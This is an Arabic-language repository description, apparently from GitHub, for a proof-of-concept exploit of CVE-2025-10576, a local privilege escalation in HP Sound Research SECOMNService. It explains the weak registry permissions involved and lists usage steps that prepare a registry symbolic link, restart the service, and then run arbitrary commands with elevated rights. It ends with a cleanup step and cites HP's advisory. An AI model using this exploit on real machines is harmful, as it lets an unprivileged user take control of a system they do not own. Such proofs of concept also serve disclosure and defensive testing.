r41n3rzuf477/cve-2025-10576HP Sound Research SECOMNService تصعيد الامتياز
رفع امتيازات HP Sound Research SECOMNService. تسمح صلاحيات التسجيل الضعيفة لأي مستخدم بإنشاء رابط رمزي للتسجيل وإجبار خدمة SECOMNService على إنشاء مفتاح تسجيل تعسفي.
كيفية الاستخدام:
1. soundresearch_poc.exe prepare
2. إعادة تشغيل SECOMNService أو الجهاز
3. soundresearch_poc.exe exploit "whoami /all > C:\Windows\soundresearch.txt"
4. soundresearch_poc.exe exploit "*أمر آخر*"
5. soundresearch_poc.exe cleanup
المرجع: https://support.hp.com/us-en/document/ish_13092608-13092602-16/hpsbhf04051